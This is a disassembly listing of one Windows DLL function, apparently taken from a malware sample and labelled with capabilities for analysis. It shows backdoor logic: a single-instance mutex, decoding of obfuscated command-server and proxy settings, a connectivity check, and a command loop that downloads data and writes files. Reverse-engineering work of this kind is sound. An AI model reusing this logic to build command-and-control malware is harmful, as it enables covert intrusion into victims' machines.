Function at 0x10003a40
Capabilities:
Check mutex on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10012fcb
mov eax, dword fs:[0]
push eax
sub esp, 0x558
mov eax, dword [0x10018090]
xor eax, esp
mov dword [esp + 0x550], eax
push ebx
push esi
push edi
mov eax, dword [0x10018090]
xor eax, esp
push eax
lea eax, [esp + 0x568]
mov dword fs:[0], eax
push str.Globalmqe45tex13fw14op0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10019cc0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003aa6
cmp eax, 5
jne 0x10003ac7
mov eax, dword [0x10019cc0]
test eax, eax
je 0x10003ac0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10019cc0], 0
xor eax, eax
jmp 0x10004307
cmp dword [0x10019cb8], 0
jne 0x10003ba2
xor ecx, ecx
mov eax, 0x19
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10004eae
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
add esp, 4
mov dword [eax + 0x14], ecx
push 0x19
mov dword [0x10019cb8], eax
mov byte [eax + 0x18], cl
call fcn.10004eae
mov esi, eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
add esp, 4
mov dword [esi + 0x14], eax
mov byte [esi + 0x18], al
push 0x19
push esi
mov eax, str.0FQ5hGSw4UUBlp_VFryZlA
call fcn.100036d0
mov eax, esi
add esp, 8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003b44
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, ecx
inc eax
push eax
push esi
push 0
push 0
call ebx
mov ecx, esi
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x10003b65
push eax
mov eax, dword [0x10019cb8]
push eax
sub ecx, edi
inc ecx
push ecx
push esi
push 0
push 0
call ebx
push 0
mov ecx, str.0FQ5hGSw4UUBlp_VFryZlA
call fcn.10001720
add esp, 4
push 1
mov ecx, esi
call fcn.10001720
add esp, 4
push esi
call fcn.10005a96
add esp, 4
push 0x10015e28
call fcn.10005554
mov ecx, dword [0x10019ccc]
add esp, 4
push 0x400
mov dword [0x10019cb4], eax
mov dword [esp + 0x2c], ecx
call fcn.10004eae
add esp, 4
push 0x400
xor ebx, ebx
mov esi, eax
push ebx
push esi
call fcn.1000c1f0
add esp, 0xc
push str.0FQ5hGSw4UUBlp_VFryZlA
push str.encode_domain:__s
push esi
call fcn.10005150
add esp, 0xc
push ebx
mov ecx, esi
call fcn.10001720
add esp, 4
push 0x400
push ebx
push esi
call fcn.1000c1f0
mov edx, dword [0x10019cb8]
add esp, 0xc
push str.www.google.co.in
push 0x10015d88
push edx
push str.domian:__S__port:__S__test_domain:__S
push esi
call fcn.10005150
add esp, 0x14
push ebx
mov ecx, esi
call fcn.10001720
add esp, 4
push 0x400
push ebx
push esi
call fcn.1000c1f0
mov edi, dword [0x10019178]
mov eax, 8
add esp, 0xc
cmp dword [0x1001918c], eax
jae 0x10003c5c
mov edi, 0x10019178
mov edx, dword [0x1001915c]
cmp dword [0x10019170], eax
jae 0x10003c6f
mov edx, 0x1001915c
mov ecx, dword [0x10019140]
cmp dword [0x10019154], eax
jae 0x10003c82
mov ecx, 0x10019140
cmp dword [0x10019138], eax
mov eax, dword [0x10019124]
jae 0x10003c94
mov eax, 0x10019124
push edi
push edx
push ecx
push eax
mov eax, dword [0x10019cb4]
push eax
push str.proxy_num:__d__proxy_ip:__S__proxy_port:__S__proxy_user:__S__proxy_pass:__S
push esi
call fcn.10005150
add esp, 0x1c
push ebx
mov ecx, esi
call fcn.10001720
add esp, 4
push esi
call fcn.10005a96
add esp, 4
push 0xfe
lea edx, [esp + 0x52]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x58], cx
call fcn.1000c1f0
lea eax, [esp + 0x58]
add esp, 0xc
push eax
call fcn.10002e20
add esp, 4
xor ecx, ecx
mov dword [esp + 0x44], 7
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], cx
mov dword [esp + 0x570], ebx
mov eax, dword [0x10019cb8]
mov ecx, eax
lea esi, [ecx + 2]
jmp 0x10003d10
mov dx, word [ecx]
add ecx, 2
cmp dx, bx
jne 0x10003d10
sub ecx, esi
sar ecx, 1
push ecx
lea esi, [esp + 0x30]
call fcn.10004430
push 0x10015d88
call fcn.10005305
add esp, 4
mov word [esp + 0x48], ax
call fcn.10001690
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x100190d0]
push 0
cmp eax, 1
jne 0x10003d6a
mov ecx, str.con_proxy
call fcn.10001720
mov ecx, dword [0x10019cac]
add esp, 4
jmp 0x10003df5
test eax, eax
jne 0x10003d7d
mov ecx, str.con_dirct
call fcn.10001720
add esp, 4
jmp 0x10003df3
mov ecx, str.check_con
call fcn.10001720
mov esi, dword [0x10019cac]
add esp, 4
call fcn.10001a50
test eax, eax
jle 0x10003dac
push 0
mov ecx, str.it_is_direct_connection
call fcn.10001720
add esp, 4
xor eax, eax
jmp 0x10003ddd
mov ecx, esi
call fcn.10001d00
push 0
test eax, eax
jle 0x10003dcd
mov ecx, str.it_is_proxy_connection
call fcn.10001720
add esp, 4
mov eax, 1
jmp 0x10003ddd
mov ecx, str.unknown_connection_type
call fcn.10001720
add esp, 4
or eax, 0xffffffff
mov dword [0x100190d0], eax
cmp eax, 1
jne 0x10003def
mov ecx, dword [0x10019cac]
jmp 0x10003df5
test eax, eax
jne 0x10003e0a
xor ecx, ecx
push 0x493e0
lea ebx, [esp + 0x30]
call fcn.10002890
add esp, 4
test eax, eax
jge 0x10003e16
push 0x7530
call edi
jmp 0x10003d46
mov esi, dword [0x10019cbc]
test esi, esi
jne 0x10003e45
push 0x208
call fcn.10004eae
add esp, 4
push 0x208
mov esi, eax
push 0
push esi
mov dword [0x10019cbc], esi
call fcn.1000c1f0
add esp, 0xc
push esi
mov ebx, 0x10016384
mov edi, str.WINSUPDATE
call fcn.100015a0
xor ecx, ecx
add esp, 4
mov eax, 0x400
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10004eae
mov dword [esp + 0x24], eax
xor ecx, ecx
add esp, 4
mov eax, 0x28000
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10004eae
add esp, 4
xor ebx, ebx
mov esi, eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], ebx
jmp 0x10003eb2
xor ebx, ebx
cmp dword [esp + 0x24], ebx
je 0x10003ec9
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], ebx
jmp 0x10003eea
cmp dword [esp + 0x18], ebx
je 0x10003ee0
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], ebx
jmp 0x10003eea
cmp dword [esp + 0x10], ebx
je 0x10003eea
mov dword [esp + 0x10], ebx
mov edi, dword [esp + 0x20]
push 0x800
push ebx
push edi
call fcn.1000c1f0
lea ecx, [esp + 0x38]
add esp, 0xc
push ecx
mov ecx, edi
lea edx, [esp + 0x50]
call fcn.10003410
add esp, 4
cmp eax, ebx
jge 0x10003f2d
cmp eax, 0xfffffffe
jne 0x10003f23
mov dword [esp + 0x10], 1
jmp 0x10003eb2
mov dword [esp + 0x18], 1
jmp 0x10003eb2
mov edx, dword [0x10015e10]
push 0x206
lea ecx, [esp + 0x152]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], edx
mov word [esp + 0x158], ax
call fcn.1000c1f0
add esp, 0xc
push 0x206
lea eax, [esp + 0x35a]
xor edx, edx
push ebx
push eax
mov word [esp + 0x360], dx
call fcn.1000c1f0
mov eax, dword [esp + 0x2c]
add esp, 0xc
lea ebx, [esp + 0x354]
lea edi, [esp + 0x14c]
lea edx, [esp + 0x14]
call fcn.10003750
test eax, eax
jle 0x10003eb0
lea ecx, [esp + 0x14]
push 0x10015e10
push ecx
call fcn.100050bd
add esp, 8
test eax, eax
jne 0x10003fe0
lea edx, [esp + 0x4c]
push edx
lea ecx, [esp + 0x30]
mov edx, edi
call fcn.10003040
add esp, 4
test eax, eax
jge 0x10003eb0
mov dword [esp + 0x10], 1
jmp 0x10003eb0
lea eax, [esp + 0x14]
push 0x10015e0c
push eax
call fcn.100050bd
add esp, 8
test eax, eax
jne 0x10004118
lea ecx, [esp + 0x354]
push 0x1001638c
push ecx
call fcn.10005625
mov edi, eax
add esp, 8
test edi, edi
jne 0x10004034
lea edx, [esp + 0x354]
push 0x10016200
push edx
call fcn.10005625
mov edi, eax
add esp, 8
test edi, edi
je 0x10003eb0
mov dword [esp + 0x1c], 0
lea esp, [esp]
test edi, edi
jne 0x1000405b
lea eax, [esp + 0x354]
push 0x1001638c
push eax
call fcn.10005625
add esp, 8
mov edi, eax
push 2
push 0
push edi
call fcn.10006314
add esp, 0xc
push edi
call fcn.1000621c
add esp, 4
push edi
mov ebx, eax
call fcn.10005310
add esp, 4
push 0x50000
push 0
push esi
call fcn.1000c1f0
add esp, 0xc
lea ecx, [esp + 0x2c]
push ebx
push ecx
mov ecx, esi
lea edx, [esp + 0x54]
call fcn.100038d0
add esp, 8
test eax, eax
jle 0x100040f2
cmp eax, 8
jne 0x100040d8
cmp byte [esi], 0x75
jne 0x100040d8
cmp byte [esi + 1], 0x26
jne 0x100040d8
cmp byte [esi + 2], 0x2d
jne 0x100040d8
cmp byte [esi + 3], 0x64
jne 0x100040d8
cmp byte [esi + 4], 0x3b
jne 0x100040d8
cmp byte [esi + 5], 0x21
jne 0x100040d8
cmp byte [esi + 6], 0x28
jne 0x100040d8
cmp byte [esi + 7], 0x25
je 0x10004102
push edi
push eax
push 1
push esi
call fcn.10005ffd
push edi
call fcn.1000650c
add esp, 0x14
xor edi, edi
jmp 0x10004040
cmp dword [esp + 0x1c], 5
jg 0x10004102
inc dword [esp + 0x1c]
jmp 0x10004040
test edi, edi
je 0x10003eb0
push edi
call fcn.1000650c
add esp, 4
jmp 0x10003eb0
lea edx, [esp + 0x14]
push 0x10015e08
push edx
call fcn.100050bd
add esp, 8
test eax, eax
je 0x10003eb0
lea eax, [esp + 0x14]
push str.Rdum
push eax
call fcn.100050bd
add esp, 8
test eax, eax
jne 0x10003eb0
push 0x6c
call fcn.10004eae
add esp, 4
push 0x6c
mov edi, eax
push 0
push edi
call fcn.1000c1f0
add esp, 0xc
push 0x6c
push edi
mov eax, str.5R6gRlj1VyYng6kLKPyNAoFVe93_jXYWpjgStHXiTJWNlAsgxm9O3cAfDagVsKlSadmFvuvPppTzkQy_nrAb355TrtG_Cny_7u3U7IUL8
call fcn.100036d0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x15e]
push edx
mov word [esp + 0x160], cx
call fcn.1000c1f0
mov eax, edi
add esp, 0x14
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10004197
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x104
sub eax, ecx
lea ecx, [esp + 0x150]
push ecx
inc eax
push eax
push edi
push 0
push 0
call ebx
push 0
xor ecx, ecx
lea edx, [esp + 0x150]
call fcn.10003040
add esp, 4
push 0x6c
push 0
push edi
call fcn.1000c1f0
add esp, 0xc
push 0x6c
push edi
mov eax, str.5R6gRlj1Vyb85rBXUSFrIoFVe93_jXYWpjgStHXiTJWNlAsgxm9O3cAfDagVsKlSadmFvuvPppTzkQy_nrAb355TrtG_Cny_7u3U7IUL8
call fcn.100036d0
mov eax, edi
add esp, 8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100041f1
push 0x104
sub eax, ecx
lea edx, [esp + 0x150]
push edx
inc eax
push eax
push edi
push 0
push 0
call ebx
push 0
xor ecx, ecx
lea edx, [esp + 0x150]
call fcn.10003040
add esp, 4
push edi
call fcn.10005a96
mov eax, dword [0x10019ca0]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 4
test eax, eax
je 0x10004248
push eax
call edi
xor ebx, ebx
mov dword [0x10019ca0], ebx
jmp 0x1000424a
xor ebx, ebx
mov eax, dword [0x10019ca4]
cmp eax, ebx
je 0x1000425c
push eax
call edi
mov dword [0x10019ca4], ebx
mov eax, dword [0x10019ca8]
cmp eax, ebx
je 0x1000426e
push eax
call edi
mov dword [0x10019ca8], ebx
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x1000427f
push eax
call fcn.10005a96
add esp, 4
cmp esi, ebx
je 0x1000428c
push esi
call fcn.10005a96
add esp, 4
mov eax, dword [0x10019cbc]
cmp eax, ebx
je 0x100042a4
push eax
call fcn.10005a96
add esp, 4
mov dword [0x10019cbc], ebx
mov eax, dword [0x10019cb8]
cmp eax, ebx
je 0x100042bc
push eax
call fcn.10005a96
add esp, 4
mov dword [0x10019cb8], ebx
mov ecx, dword [0x10019cac]
cmp ecx, ebx
je 0x100042d6
mov esi, ecx
call fcn.10001080
push esi
call fcn.10005d92
add esp, 4
mov eax, dword [0x10019cb0]
cmp eax, ebx
je 0x100042ee
push eax
call fcn.10005a96
add esp, 4
mov dword [0x10019cb0], ebx
cmp dword [esp + 0x44], 8
jb 0x10004302
mov eax, dword [esp + 0x30]
push eax
call fcn.10005d92
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x568]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x550]
xor ecx, esp
call fcn.10004eb9
mov esp, ebp
pop ebp
ret